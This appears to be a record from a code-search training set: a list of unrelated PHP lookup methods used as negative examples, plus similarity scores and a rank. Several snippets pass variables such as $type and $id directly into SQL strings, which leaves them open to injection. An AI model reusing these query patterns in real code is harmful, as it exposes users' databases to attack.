(!isset($this->types[$id])) {\n // It seems that the type really does not exists, mark it as\n // being wrong in order to avoid to refresh the cache too often\n // and return a null type\n $this->types[$type] = false;\n }\n }\n\n if (false === $this->types[$id]) {\n return null;\n } else {\n return $this->types[$id];\n }\n }", "public function findByEmbeddedBroadcastType($type)\n {\n return $this->findByEmbeddedBroadcastTypeQuery($type)->execute();\n }", "public function getTargetType();", "function get_object_subtype($object_type, $object_id)\n {\n }", "function get($id) {\n foreach ($this->body as $node) {\n if ($node instanceof Type) {\n if ($node->getID() == $id) {\n return $node;\n }\n }\n }\n }", "function TestPlan_lookup_type_name_by_id($type_id) {\n\t// Create call\n\t$call = new xmlrpcmsg('TestPlan.lookup_type_name_by_id', array(new xmlrpcval($type_id, \"int\")));\n\n\t// Do call and return value\n\treturn do_call($call);\n}", "function getMetaType($type) {\r\n \r\n foreach( $this->data['VenueMeta'] as $i => $row ) {\r\n if ( $row['meta_key'] == $type) {\r\n return $row;\r\n }\r\n }\r\n \r\n return false;\r\n }", "public static function find_by_id($id=0, $type) {\r\n $result_array = self::find_by_sql(\"SELECT * FROM \" .self::$table_name. \" WHERE user_id={$id} AND user_type='{$type}' ORDER BY last_viewed DESC LIMIT 50\");\r\n \r\n return !empty($result_array) ? $result_array : false;\r\n }", "static private function _get($type, $id) {\n $objects = self::getStack($type);\n if (empty($objects)) {\n return FALSE;\n }\n if (isset($objects[$id])) {\n return self::convertToOriginalObject($objects[$id]);\n }\n return FALSE;\n }", "public function matches($type);", "public function matches($type);", "public function getById($id, $type) {\n switch ($type) {\n case 'nsf': $sql = ROLETYPE_GETBYID_NSF; break;\n case 'local': $sql = ROLETYPE_GETBYID_LOCAL; break;\n default: throw new Exception(\"Type must be 'nsf' or 'local'\"); break;\n }\n\n $list = $this->makeEntityArray('RoleType', $sql, array($id));\n return isset($list[0]) ? $list[0] : null;\n }", "public function get_intent() {\n\t return $this->decodedWebhook['queryResult']['intent']['displayName'];\n }", "public function encontrarPorIdResponsavel($idResponsavel) {\r\n $entidade = null;\r\n try {\r\n $entidade = $this->getEntityManager()\r\n ->getRepository($this->getEntity())\r\n ->findBy(array(KleoController::stringIdResponsavel => $idResponsavel));\r\n return $entidade;\r\n } catch (Exception $exc) {\r\n echo $exc->getMessage();\r\n }\r\n }", "private function getMatchingIntents(\n UtteranceInterface $utterance,\n Map $nextIntents,\n Intent $defaultIntent\n ): MatchingIntents {\n $matching = new Map();\n\n /* @var Intent $validIntent */\n foreach ($nextIntents as $validIntent) {\n if ($validIntent->hasInterpreter()) {\n $interpreter = $validIntent->getInterpreter()->getId();\n\n $interpretedIntents = $this->interpreterService->interpret($interpreter, $utterance);\n } else {\n $interpretedIntents = [$defaultIntent];\n }\n\n foreach ($interpretedIntents as $interpretedIntent) {\n if ($interpretedIntent->matches($validIntent)) {\n $validIntent->copyNonCoreAttributes($interpretedIntent);\n $matching->put($validIntent->hash(), $validIntent);\n }\n }\n }\n\n $filteredIntents = $this->filterByConditions($matching, true);\n\n $matchingIntents = new MatchingIntents();\n foreach ($filteredIntents as $matchingIntent) {\n $matchingIntents->addMatchingIntent($matchingIntent);\n }\n\n return $matchingIntents;\n }", "public function findMediaByType($type)\n{\n $sql = \"SELECT ID,\n media_filename,\n media_caption,\n media_type, \n media_target,\n media_user,\n media_access,\n media_status\n FROM tbl_media\n WHERE media_type = :media_type \n AND media_status = '1'\";\n\n $this->setSQL($sql);\n \n $mediaByType = $this->findRow([':media_type' => $type]);\n\n return (empty($mediaByType)) ?: $mediaByType;\n \n}", "private function get_type_ids($type) {\n\t\tglobal $wpdb;\n\t\treturn $wpdb->get_col($wpdb->prepare(\"SELECT `ID` FROM {$wpdb->posts} WHERE `post_type` = 'attachment' AND `post_status` = 'inherit' AND `post_mime_type` LIKE '%s/%%'\", $type));\n\t}", "public function getNotifTypeById($id) {\n $notif_type = NotifType::find($id);\n if (is_null($notif_type)) {\n return response()->json([\n 'success' => false,\n 'statusCode' => 404,\n 'message' => 'Notification Type not found']);\n }\n return response()->json([\n 'success' => true,\n 'statusCode' => 200,\n 'message' => 'Successfully retrieved notification type',\n 'data' => $notif_type::find($id)]);\n }", "public function getTargetType()\n {\n if (array_key_exists(\"targetType\", $this->_propDict)) {\n if (is_a($this->_propDict[\"targetType\"], \"\\Beta\\Microsoft\\Graph\\Model\\MobileAppRelationshipType\") || is_null($this->_propDict[\"targetType\"])) {\n return $this->_propDict[\"targetType\"];\n } else {\n $this->_propDict[\"targetType\"] = new MobileAppRelationshipType($this->_propDict[\"targetType\"]);\n return $this->_propDict[\"targetType\"];\n }\n }\n return null;\n }", "protected function type($type)\n {\n return $this->builder->where('type', $type);\n }", "public function getTypeHandler()\n {\n return $this->handlers[$this->getType()];\n }", "public static function get_data_by_type_and_id( $type, $id ) {\n\t\tglobal $wpdb;\n\n\t\t$type = esc_sql( $type );\n\t\treturn $wpdb->get_results(\n\t\t\t$wpdb->prepare( \"\n\t\t\t\t\tSELECT * FROM `{$wpdb->prefix}spa_{$type}`\n\t\t\t\t\tWHERE `id` = '%d'\n\t\t\t\t\", $id ), ARRAY_A );\n\t}", "public function get($id, $type)\n {\n $stmt = $this->db()->prepare(\"SELECT * FROM toys WHERE type={$type} AND id=:id\");\n $stmt->execute(array(':id' => $id));\n return $stmt->fetch(\\PDO::FETCH_ASSOC);\n }", "public function getType() {\n return REMOTE_MSG_LOOKUP;\n }", "public function getMediaPath($id, $locale = null, $type = self::RESOURCE_TYPE_IMG) {\n\n\t\tif ($locale === NULL) {\n\t\t\t$locale = app()->getLocale();\n\t\t}\n\n\t\t$namespace = self::$mediaDirMap[$type];\n\n\t\tlist($n, $group, $item) = $this->translator->parseKey($id);\n\t\t$fallback_locale = $this->localization->getFallbackLocale($locale, true);\n\t\tif (!$fallback_locale) {\n\t\t\t$fallback_locale = '';\n\t\t}\n\n\t\t$try_locales = [\n\t\t\t$locale, // the current locale\n\t\t\t$fallback_locale, // an explicit fallback\n\t\t\t'' // the empty locale\n\t\t];\n\n\t\tforeach ($try_locales as $locale) {\n\t\t\t$media = $this->loadMediaGroup($locale, $group, $namespace);\n\t\t\tif (array_has($media, $item)) {\n\t\t\t\treturn array_get($media, $item);\n\t\t\t}\n\t\t}\n\n\t\treturn NULL;\n\t}", "protected function get_type_from_id($id)\n\t{\n\t\treturn $this->types->get($id);\n\t}", "static function _getMobsForTarget($a_type, $a_target)\n\t{\n\t\tglobal $ilDB;\n\n\t\t$q = \"SELECT * FROM map_area WHERE \".\n\t\t\t\" link_type = \".$ilDB->quote($a_type, \"text\").\n\t\t\t\" AND target = \".$ilDB->quote($a_target, \"text\");\n\t\t$set = $ilDB->query($q);\n\t\t\n\t\t$mobs = array();\n\t\twhile($rec = $ilDB->fetchAssoc($set))\n\t\t{\n\t\t\t$mob_id = ilMediaItem::_lookupMobId($rec[\"item_id\"]);\n\t\t\t$mobs[$mob_id] = $mob_id;\n\t\t}\n\t\t\n\t\treturn $mobs;\n\t}", "public function get_type()\n {\n return self::$_id;\n }", "public function getMatches($event_id, $type) {\n\t\t$query = array(\n\t\t\t'conditions' => array('Match.event_id' => $event_id),\n\t\t\t'order' => array('Match.order' => 'ASC'),\n\t\t\t'cache' => array(__METHOD__, $event_id, $type)\n\t\t);\n\n\t\tif ($type == self::TEAM) {\n\t\t\t$query['contain'] = array('HomeTeam', 'AwayTeam');\n\t\t} else {\n\t\t\t$query['contain'] = array(\n\t\t\t\t'HomePlayer' => array('User'),\n\t\t\t\t'AwayPlayer' => array('User')\n\t\t\t);\n\t\t}\n\n\t\treturn $this->find('all', $query);\n\t}", "private function findOneEntry( $type, &$parameters )\n {\n $this->setActionId() ;\n $this->log( \"Find one \" . $type, Logger::LOG_INFO, __METHOD__ ) ;\n $entry = null ;\n\n\n // Loop on the 'kiamoInputs' search parameters\n $searchPattern = $this->entitiesMgr->getEntitySearchPatternKiamoInputs( $type ) ;\n $res = null ;\n foreach( $searchPattern as $searchItem )\n {\n $varName = $searchItem[ 'varName' ] ;\n \n\n // Search entries matching the current search item (eligibility, pre-treatment, post-treatment)\n $pbParamValue = $parameters->$varName ;\n $preparedResult = $this->findEntriesBySearchPattern( $type, $pbParamValue, $searchItem ) ;\n if( empty( $preparedResult ) ) continue ;\n \n\n // Select one of the list\n $res = $preparedResult[0] ; // By default, select the first returned result\n if( sizeof( $preparedResult ) > 1 )\n {\n $oneOfMethod = $this->entitiesMgr->getEntitySearchGetOneOfMethod( $type ) ;\n if( !empty( $oneOfMethod ) )\n {\n if( method_exists( $this->customizationMgr, $oneOfMethod ) )\n {\n $this->log( \"Several results, Get One Of method '\" . $oneOfMethod . \"' applied\", Logger::LOG_INFOP, __METHOD__ ) ;\n $res = $this->customizationMgr->$oneOfMethod( $preparedResult ) ;\n }\n else\n {\n $this->log( \"! Get One Of method '\" . $oneOfMethod . \"' does not exist in '\" . get_class( $this->customizationMgr ) . \"' implementation\", Logger::LOG_WARN, __METHOD__ ) ;\n }\n }\n }\n \n \n // One match has been found and treated : break the search loop here\n break ;\n }\n\n if( empty( $res ) )\n {\n $this->log( \"=> No match found\", Logger::LOG_INFO, __METHOD__ ) ;\n return null ;\n }\n\n $this->log( \"=> Match found\", Logger::LOG_INFO, __METHOD__ ) ;\n $entry = $this->entitiesMgr->getEntryInstance( $type, $res ) ;\n\n $this->clearActionId() ;\n\n return $entry ;\n }", "public function onGetTypes($type = null)\n\t{\n\t\t// The name of the hubtype\n\t\t$hubtype = 'ticket';\n\n\t\tif (isset($type) && $type == $hubtype)\n\t\t{\n\t\t\treturn $hubtype;\n\t\t}\n\t\telseif (!isset($type))\n\t\t{\n\t\t\treturn $hubtype;\n\t\t}\n\t}", "public function getHandlerForType($type)\n {\n $bestHandler = $this->defaultHandler;\n foreach ($this->handlers as $handler) {\n if ($handler->getType() == $type && $handler->getPriority() > $bestHandler->getPriority()) {\n $bestHandler = $handler;\n }\n }\n\n return $bestHandler;\n }", "public function findRelatedElement($type = null)\n {\n $model = $this->model;\n\n // invalid call\n if ($model->bootstrap_parentId == '' && !$this->isTypeOf(static::TYPE_START)) {\n return null;\n }\n\n $options = array(\n 'order' => 'sorting'\n );\n\n if ($type === null) {\n $column = 'bootstrap_parentId';\n $values[] = $model->id;\n } else {\n $column = array('bootstrap_parentId=? ', 'type=?');\n $values[] = $model->id;\n $values[] = $this->getTypeName($type);\n }\n\n return \\ContentModel::findOneBy($column, $values, $options);\n }", "function _ws_apply_get_case($cid = NULL, $type = 2, $get_acts = TRUE) {\n if (!$cid) {\n $cid = woolman_user_cid();\n }\n foreach (woolman_civicrm_api('case', 'get', array('client_id' => $cid), 'values') as $case) {\n if ($case['case_type_id'] == $type && !$case['is_deleted']) {\n if ($get_acts) {\n //Load activity info\n $case['acts'] = array();\n $db = db_query('SELECT * FROM {civicrm_activity} WHERE is_current_revision = 1 AND is_deleted = 0 AND is_test = 0 AND id IN (SELECT activity_id FROM {civicrm_case_activity} WHERE case_id = %d)', $case['id']);\n while ($act = db_fetch_object($db)) {\n $case['acts'][$act->activity_type_id][] = (array) $act;\n }\n }\n return $case;\n }\n }\n}", "public function getSkillList__600($id, $skill = false){\n $query = new Query ( \"SELECT\" );\n $query->where ( \"type_id = ?\", $id );\n if($skill)\n $query->where ( \"id = ?\", $skill);\n\n $type = TypeAvailableSkillsBean::select ( $query );\n if (! $type) {\n return false;\n }\n return $type;\n }", "public function findDevoirType($id,$type)\n\t{\n\t\t$qb = $this->_em->createQueryBuilder();\n\t\n\t\t$qb->select('d')\n\t\t->from('ProjetCoursBundle:Devoir', 'd')\n\t\t->where('d.enseignement = :id')\n\t\t->setParameter('id', $id)\n\t\t->join('d.type', 't')\n\t\t->andWhere('t.nom = :type')\n\t\t->setParameter('type', $type)\n\t\t;\n\t\n\t\n\t\treturn $qb->getQuery()\n\t\t->getResult();\n\t}", "public function sendType(Type $type): ResponseInterface;", "function hook_kiosque_actor_type() {}", "public static function type_return_icon($type_id)\n {\n switch($type_id):\n case '101';\n return \"<i class=\\\"fa fa-beer fa-1x\\\"></i>\";\n break;\n case '102';\n return \"<i class=\\\"fa fa-thumbs-o-up fa-1x\\\"></i>\";\n break;\n case '103';\n break;\n case '200';\n return \"<i class=\\\"fa fa-picture-o fa-1x\\\"></i>\";\n break;\n case '300';\n return \"<i class=\\\"fa fa-map-marker fa-1x\\\"></i>\";\n break;\n endswitch;\n }", "public function find($id) {\n $sql = \"select * from eventtype where num_ET=?\";\n $row = $this->getDb()->fetchAssoc($sql, array($id));\n\n if ($row)\n return $this->buildDomainObject($row);\n else\n throw new \\Exception(\"No type matching id \" . $id);\n }", "public function getTypeIdentifier();", "private function selectItemType($id)\n {\n $tables = array(\"desktops\" => \"DS\", \"laptops\" => \"LP\"); //this array stores the names of the tables in database\n\n $prefix = substr($id, 0, 2); //all of the product types have unique prefix\n\n return array_search($prefix, $tables);\n }", "public function getResponds()\n {\n return $this->hasMany(Respond::className(), ['user_id' => 'id']);\n }", "public function GetIdRespObsResponsavel()\n\t{\n\t\treturn $this->_phreezer->GetManyToOne($this, \"observacoes_ibfk_2\");\n\t}", "public function get_leave_type_by_id($id){\n $this->db->where('leave_type_id',$id);\n $query = $this->db->get('leave_type');\n return $query->row();\n }", "public function getOperationPrimeRRewardTypeId()\n {\n\n return $this->operation_prime_r_reward_type_id;\n }", "function getMetaTypeSingle($type) {\r\n foreach( $this->data['VenueMeta'] as $i => $row ) {\r\n if ( $row['meta_key'] == $type) {\r\n return $row['meta_value'];\r\n }\r\n }\r\n \r\n return false;\t\t\r\n\t}", "public function findByEventType($type)\n {\n if (!isset($this->betTypes[$type])) {\n throw new UnsupportedEventType($type. ' not supported. Try '.implode(', ', array_keys($this->betTypes)));\n }\n\n return $this->betTypes[$type];\n }", "protected function findType() {\n switch ($this->part->type) {\n case IMAP::ATTACHMENT_TYPE_MESSAGE:\n $this->type = 'message';\n break;\n case IMAP::ATTACHMENT_TYPE_APPLICATION:\n $this->type = 'application';\n break;\n case IMAP::ATTACHMENT_TYPE_AUDIO:\n $this->type = 'audio';\n break;\n case IMAP::ATTACHMENT_TYPE_IMAGE:\n $this->type = 'image';\n break;\n case IMAP::ATTACHMENT_TYPE_VIDEO:\n $this->type = 'video';\n break;\n case IMAP::ATTACHMENT_TYPE_MODEL:\n $this->type = 'model';\n break;\n case IMAP::ATTACHMENT_TYPE_TEXT:\n $this->type = 'text';\n break;\n case IMAP::ATTACHMENT_TYPE_MULTIPART:\n $this->type = 'multipart';\n break;\n default:\n $this->type = 'other';\n break;\n }\n }", "protected function getResultsByType($type)\n {\n $mapper = $this->relatedMapper->getManager()->mapper($type);\n\n $key = $mapper->getEntityMap()->getKeyName();\n\n $query = $mapper->getQuery();\n\n return $query->whereIn($key, array_keys($this->dictionary[$type]))->get();\n }", "public function type()\n {\n return $this->hasOne(Type::class);\n }", "public function findByEmbeddedBroadcastTypeQuery($type)\n {\n return $this->findByEmbeddedBroadcastTypeQueryBuilder($type)->getQuery();\n }", "protected function getEventNotificationTypes($event_id, $role){\n return [\n 'browser' => NotificationsManage::find()->where(['event_id' =>$event_id])->andWhere(['role' => $role])->one()->browser == 1,\n 'email' => NotificationsManage::find()->where(['event_id' =>$event_id])->andWhere(['role' => $role])->one()->email == 1\n ];\n }", "public function idTypes();", "function getResourceTypeIdFromResource($id){\n return sqlSelectOne(\"SELECT * FROM resources WHERE resource_id='$id'\", 'resource_type');\n}", "public function setIdType(string $idType): static;", "public static function favourite ( $type = 'create', $id = '' ) {\n\n\t\tif ( ! in_array($type, array('destroy', 'create'))) {\n\t\t\t$type = 'create';\n\t\t}\n\n\t\tstatic::api()->request('POST', static::api()->url('1.1/favorites/' . $type), array(\n\t\t\t'id' => $id,\n\t\t\t'include_entities' => false\n\t\t));\n\n\t\t$response = static::api()->response['response'];\n\t\t$code = static::api()->response['code'];\n\n\t\tif ($code === 200) {\n\t\t\treturn json_decode($response, false, 512, JSON_BIGINT_AS_STRING);\n\t\t}\n\n\t\treturn false;\n\n\t}", "public function getClass($typeId);", "public function get($type);", "public function type(){\n return $this->hasOne(ContactType::class,'id','type_id');\n }", "public function show($id)\n {\n return $this->type->findOrFail($id);\n }", "function getFromDBForTarget($notifications_id, $type, $ID) {\n\n if ($this->getFromDBByCrit([\n $this->getTable() . '.notifications_id' => $notifications_id,\n $this->getTable() . '.items_id' => $ID,\n $this->getTable() . '.type' => $type\n ])) {\n return true;\n }\n return false;\n }", "public function getAdType($id)\n {\n $query = \"SELECT ALL FROM adv_type WHERE id = $id\";\n return $this->getQueryData($query, $this->getConnection());\n }", "public function getOrderIntent()\n {\n return $this->order['intent'];\n }", "public static function getBPCProduct($typeID, $activityID)\n {\n return \\DB::Table('industryActivityProducts')\n ->select('productTypeID')\n ->where('typeID', $typeID)\n ->where('activityID', $activityID)\n ->pluck('productTypeID');\n }", "public function getIdResponsableContacto()\n {\n return $this->idResponsableContacto;\n }", "public function findOne($type = null)\n {\n $entities = $this->find($type, 0, 1);\n\n return current($entities);\n }", "function backup_migrate_crud_get_item($type, $id) {\n if ($type = backup_migrate_crud_type_load($type)) {\n return $type->item($id);\n }\n}", "public static function getTypesById()\n {\n return array_flip(self::getTypes());\n }", "public function getAppType();", "public function getSingleRoomType($id)\n {\n $type = RoomType::find($id);\n if(!$type) {\n abort(404, 'Room type not found');\n }\n\n return $type;\n }", "public function getMyType($uid, $type)\n {\n $sql = \"SELECT $type FROM $this->table_user WHERE uid=:uid\";\n return $this->_rdb->fetchOne($sql, array('uid' => $uid));\n }", "public function getPendingClaims($type='talk',$rid=null){\n\t switch($type){\n\t\t\t//case 'talk': return $this->getPendingClaims_Talks($rid); break;\n\t\t\tcase 'talk': return $this->getPendingClaim_TalkSpeaker($rid); break;\n\t\t\tcase 'event': return $this->getPendingClaims_Events($rid); break;\n\t }\n\t}", "public function getQueryType();", "public function findByEmbeddedBroadcastTypeQueryBuilder($type)\n {\n return $this->createQueryBuilder()->field('embeddedBroadcast.type')->equals($type);\n }", "public function setIntent($intent) {}", "public function setIntent($intent) {}", "public function getPermissionByRoleID($id);", "public function readFromCache($type, $id = null) {\n $this->readType($type);\n\n if ($id == null) {\n if (!array_key_exists($type, $this->cache)) {\n return array();\n }\n\n return $this->cache[$type];\n }\n\n if (!array_key_exists($id, $this->cache[$type])) {\n return null;\n }\n\n return $this->cache[$type][$id];\n }", "public function fromGet($id = null, $type = 'integer')\n {\n isset($id) || $id = $this->data->getProperty('primary_key');\n if (is_null($value = TIP::getGet($id, $type))) {\n TIP::warning(\"GET not found ($id)\");\n TIP::notifyError('noparams');\n }\n\n return $value;\n }" ]
[ "0.5346098", "0.5345743", "0.5161113", "0.5116337", "0.51097435", "0.5064178", "0.5040994", "0.5021169", "0.50098765", "0.49232188", "0.4919211", "0.49183115", "0.47822815", "0.47712445", "0.4718171", "0.46727678", "0.46480796", "0.46359333", "0.46354055", "0.46349943", "0.4627591", "0.46211177", "0.46103793", "0.46091095", "0.45471656", "0.45450005", "0.4543029", "0.4534144", "0.45329353", "0.45173863", "0.44986206", "0.44986206", "0.44935244", "0.44519308", "0.44510922", "0.4441529", "0.44392997", "0.44317865", "0.4430695", "0.44253397", "0.4418504", "0.44098365", "0.4376559", "0.43711987", "0.43547943", "0.43541926", "0.43499193", "0.43390918", "0.43373594", "0.43365106", "0.43356106", "0.43338224", "0.4319561", "0.4315518", "0.43013972", "0.4290767", "0.4285641", "0.42807534", "0.42677283", "0.42661166", "0.42646053", "0.4263603", "0.4259038", "0.42495656", "0.42459193", "0.4245378", "0.4242217", "0.42382798", "0.4236067", "0.42359927", "0.42340028", "0.42258322", "0.42254892", "0.4221649", "0.42135894", "0.42106253", "0.42043707", "0.42033833", "0.41950762", "0.41870916", "0.41861233", "0.41844276", "0.41841513", "0.41819084", "0.4181278", "0.4179809", "0.4178816", "0.4175077", "0.4174598", "0.4172062", "0.4167657", "0.41641974", "0.41506803", "0.4145549", "0.41432527", "0.41399306", "0.41386965", "0.4136493", "0.41329592", "0.41306755", "0.4125256" ]
0.0
-1
Get Intent Types Responds with a list of Intent Types
public function index(Request $request, IntentTypeFilters $filters) { $types = $this->service()->repo()->list($request->user(), $filters); return $types; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getInteractionTypeAllowableValues()\n {\n return [\n self::INTERACTION_TYPE_QI_SINGLE_SELECT,\n self::INTERACTION_TYPE_QI_MULTIPLE_SELECT,\n self::INTERACTION_TYPE_QI_DRAWING,\n self::INTERACTION_TYPE_QI_TEXT_ENTRY,\n self::INTERACTION_TYPE_QI_TEXT_ENTRY_SELF_SCORE,\n self::INTERACTION_TYPE_QI_GAP_MATCH,\n self::INTERACTION_TYPE_QI_GRAPHIC_GAP_MATCH,\n self::INTERACTION_TYPE_QI_COUPLE_ASSOCIATE,\n self::INTERACTION_TYPE_QI_ACROSTIC_PUZZLE,\n self::INTERACTION_TYPE_QI_OPEN_QUESTION,\n self::INTERACTION_TYPE_GRAPHIC_HOTSPOT,\n self::INTERACTION_TYPE_GRAPHIC_ASSOCIATE,\n self::INTERACTION_TYPE_QI_SEQUENCING,\n self::INTERACTION_TYPE_QI_INLINE_CHOICE,\n self::INTERACTION_TYPE_QI_SINGLE_CHOICE_MATRIX,\n self::INTERACTION_TYPE_QI_MULTIPLE_CHOICE_MATRIX,\n self::INTERACTION_TYPE_QI_TEXT_HIGHLIGHT,\n ];\n }", "public function getAllActivityTypes()\n {\n //check or get oauth token\n OAuthManager::getInstance()->checkAuthorization();\n\n //prepare query string for API call\n $_queryBuilder = '/activityTypes';\n\n //validate and preprocess url\n $_queryUrl = APIHelper::cleanUrl(Configuration::getBaseUri() . $_queryBuilder);\n\n //prepare headers\n $_headers = array (\n 'user-agent' => BaseController::USER_AGENT,\n 'Authorization' => sprintf('Bearer %1$s', Configuration::$oAuthToken->accessToken)\n );\n\n //call on-before Http callback\n $_httpRequest = new HttpRequest(HttpMethod::GET, $_headers, $_queryUrl);\n if ($this->getHttpCallBack() != null) {\n $this->getHttpCallBack()->callOnBeforeRequest($_httpRequest);\n }\n\n //and invoke the API call request to fetch the response\n $response = Request::get($_queryUrl, $_headers);\n\n $_httpResponse = new HttpResponse($response->code, $response->headers, $response->raw_body);\n $_httpContext = new HttpContext($_httpRequest, $_httpResponse);\n\n //call on-after Http callback\n if ($this->getHttpCallBack() != null) {\n $this->getHttpCallBack()->callOnAfterRequest($_httpContext);\n }\n\n //handle errors defined at the API level\n $this->validateResponse($_httpResponse, $_httpContext);\n\n return CamelCaseHelper::keysToCamelCase($response->body);\n }", "public function get_desired_types();", "public function getCompletionTypes () {\n\t\t\tif (count($this) === 0) return [];\n\n\t\t\t$db \t\t= db::singleton();\n\t\t\t$table \t\t= TABLE_DOCUMENTOS_ELEMENTOS . \" INNER JOIN \". TABLE_DOCUMENTO_ATRIBUTO . \" USING (uid_documento_atributo)\";\n\t\t\t$set \t\t= $this->toComaList();\n\t\t\t$SQL \t\t= \"SELECT req_type FROM {$table} WHERE uid_documento_elemento IN ({$set}) GROUP BY req_type\";\n\t\t\t$types\t\t= $db->query($SQL, '*', 0);\n\n\n\t\t\treturn array_map('intval', $types);\n\t\t}", "public static function routesByType(){\n $routes = self::requestRoutes();\n $routesByType = [];\n foreach ($routes->data as $route) {\n $routesByType[$route->attributes->description] = $routesByType[$route->attributes->description] ?? [];\n array_push($routesByType[$route->attributes->description], $route);\n }\n return $routesByType;\n }", "function monitor_list_activity_types() {\n $query = \"select distinct(`wf_type`) from `\".GALAXIA_TABLE_PREFIX.\"activities`\";\n $result = $this->query($query);\n $ret = Array();\n while($res = $result->fetchRow()) {\n $ret[] = $res['wf_type'];\n }\n return $ret; \n }", "public static function get_activity_types()\n {\n \n \n $activity_icons = [\"1\"=>\"icon-user\", \n \"2\"=>\"icon-paper-plane\",\n \"3\"=>\"icon-star\",\n \"4\"=>\"icon-present\",\n \"5\"=>\"icon-bubbles\",\n \"6\"=>\"fa fa-fw fa-money\",\n \"7\"=>\"icon-heart\",\n \"8\"=>\"icon-power\",\n \"9\"=>\"icon-reload\",\n \"10\"=>\"icon-trash\"];\n \n return $activity_icons;\n }", "public function get_actions_types()\n {\n return [\n 'positive' => DB::table('actions_types')\n ->where('action_type', 'positive')\n ->get(),\n 'neutral' => DB::table('actions_types')\n ->where('action_type', 'neutral')\n ->get(),\n 'negative' => DB::table('actions_types')\n ->where('action_type', 'negative')\n ->get()\n ];\n }", "public function getAcceptableResponseMediaTypes(string $type): array;", "function getAcceptTypes() {\n\t\treturn $this->getParam(self::PARAM_ACCEPT_TYPES);\n\t}", "public function getTypeAllowableValues()\n {\n return [\n self::TYPE_NOTIFICATION_BY_SUBSCRIPTION,\n self::TYPE_EVENTS_BY_EVENT_TYPE,\n self::TYPE_NOTIFICATION_BY_EVENT_TYPE,\n self::TYPE_EVENTS_BY_EVENT_TYPE_PER_USER,\n self::TYPE_NOTIFICATION_BY_EVENT_TYPE_PER_USER,\n self::TYPE_EVENTS,\n self::TYPE_NOTIFICATIONS,\n self::TYPE_NOTIFICATION_FAILURE_BY_SUBSCRIPTION,\n self::TYPE_UNPROCESSED_RANGE_START,\n self::TYPE_UNPROCESSED_EVENTS_BY_PUBLISHER,\n self::TYPE_UNPROCESSED_EVENT_DELAY_BY_PUBLISHER,\n self::TYPE_UNPROCESSED_NOTIFICATIONS_BY_CHANNEL_BY_PUBLISHER,\n self::TYPE_UNPROCESSED_NOTIFICATION_DELAY_BY_CHANNEL_BY_PUBLISHER,\n self::TYPE_DELAY_RANGE_START,\n self::TYPE_TOTAL_PIPELINE_TIME,\n self::TYPE_NOTIFICATION_PIPELINE_TIME,\n self::TYPE_EVENT_PIPELINE_TIME,\n self::TYPE_HOURLY_RANGE_START,\n self::TYPE_HOURLY_NOTIFICATION_BY_SUBSCRIPTION,\n self::TYPE_HOURLY_EVENTS_BY_EVENT_TYPE_PER_USER,\n self::TYPE_HOURLY_EVENTS,\n self::TYPE_HOURLY_NOTIFICATIONS,\n self::TYPE_HOURLY_UNPROCESSED_EVENTS_BY_PUBLISHER,\n self::TYPE_HOURLY_UNPROCESSED_EVENT_DELAY_BY_PUBLISHER,\n self::TYPE_HOURLY_UNPROCESSED_NOTIFICATIONS_BY_CHANNEL_BY_PUBLISHER,\n self::TYPE_HOURLY_UNPROCESSED_NOTIFICATION_DELAY_BY_CHANNEL_BY_PUBLISHER,\n self::TYPE_HOURLY_TOTAL_PIPELINE_TIME,\n self::TYPE_HOURLY_NOTIFICATION_PIPELINE_TIME,\n self::TYPE_HOURLY_EVENT_PIPELINE_TIME,\n ];\n }", "public function getOutputIntents() {}", "public function getOutputIntents() {}", "public function types()\n {\n return [\n static::TYPE_APP,\n static::TYPE_GALLERY,\n static::TYPE_PHOTO,\n static::TYPE_PLAYER,\n static::TYPE_PRODUCT,\n static::TYPE_SUMMARY,\n static::TYPE_SUMMARY_LARGE_IMAGE,\n ];\n }", "public function getIntent() {}", "public function getIntent() {}", "public function getAll () {\n return $this->curl->get('activityTypes')['data'];\n }", "public function getTypeAllowableValues()\n {\n return [\n self::TYPE_PUSH_NOTIFICATION,\nself::TYPE_QR_CODE, ];\n }", "protected function get_applicable_types()\n\t{\n\t\t$types = array();\n\n\t\tforeach ($this->types->get_all() as $id => $class)\n\t\t{\n\t\t\tif ($class->forum_robot && $class->forum_database)\n\t\t\t{\n\t\t\t\t$types[] = $id;\n\t\t\t}\n\t\t}\n\t\treturn $types;\n\t}", "public function getTypes();", "public function getTypes();", "public function getTypes();", "public function getTypes();", "public function getTargetsByEntitlement($type, $entitlements, $affiliation)\r\n {\r\n return array();\r\n }", "public function getEnumTypes()\n {\n return $this->postRequest('GetEnumTypes');\n }", "public function getToAddressMessengerTypeAllowableValues()\n {\n return [\n self::TO_ADDRESS_MESSENGER_TYPE_SMS,\n self::TO_ADDRESS_MESSENGER_TYPE_FACEBOOK,\n self::TO_ADDRESS_MESSENGER_TYPE_TWITTER,\n self::TO_ADDRESS_MESSENGER_TYPE_LINE,\n self::TO_ADDRESS_MESSENGER_TYPE_WHATSAPP,\n ];\n }", "public static function types() : array\n {\n return ['questions', 'pictures', 'video'];\n }", "protected function getTypes() {}", "public static function getTypes();", "public function getIntentos(){\n return $this->intentos;\n }", "public function getExecuteTypeAllowableValues()\r\n {\r\n return [\r\n self::EXECUTE_TYPE_SCHEDULED,\r\n self::EXECUTE_TYPE_RECURRENCE,\r\n self::EXECUTE_TYPE_ALARM,\r\n self::EXECUTE_TYPE_MANUAL,\r\n ];\r\n }", "function _wp_privacy_action_request_types()\n {\n }", "private function getMatchingIntents(\n UtteranceInterface $utterance,\n Map $nextIntents,\n Intent $defaultIntent\n ): MatchingIntents {\n $matching = new Map();\n\n /* @var Intent $validIntent */\n foreach ($nextIntents as $validIntent) {\n if ($validIntent->hasInterpreter()) {\n $interpreter = $validIntent->getInterpreter()->getId();\n\n $interpretedIntents = $this->interpreterService->interpret($interpreter, $utterance);\n } else {\n $interpretedIntents = [$defaultIntent];\n }\n\n foreach ($interpretedIntents as $interpretedIntent) {\n if ($interpretedIntent->matches($validIntent)) {\n $validIntent->copyNonCoreAttributes($interpretedIntent);\n $matching->put($validIntent->hash(), $validIntent);\n }\n }\n }\n\n $filteredIntents = $this->filterByConditions($matching, true);\n\n $matchingIntents = new MatchingIntents();\n foreach ($filteredIntents as $matchingIntent) {\n $matchingIntents->addMatchingIntent($matchingIntent);\n }\n\n return $matchingIntents;\n }", "public function getResponceType()\n {\n return $this->responceType;\n }", "function get_available_post_statuses($type = 'post')\n {\n }", "public function getSearchContentTypes()\n {\n return array('conversation_message', 'conversation');\n }", "static function getContactMethodTypesList()\n\t{\n\n\t\t$dataSource = 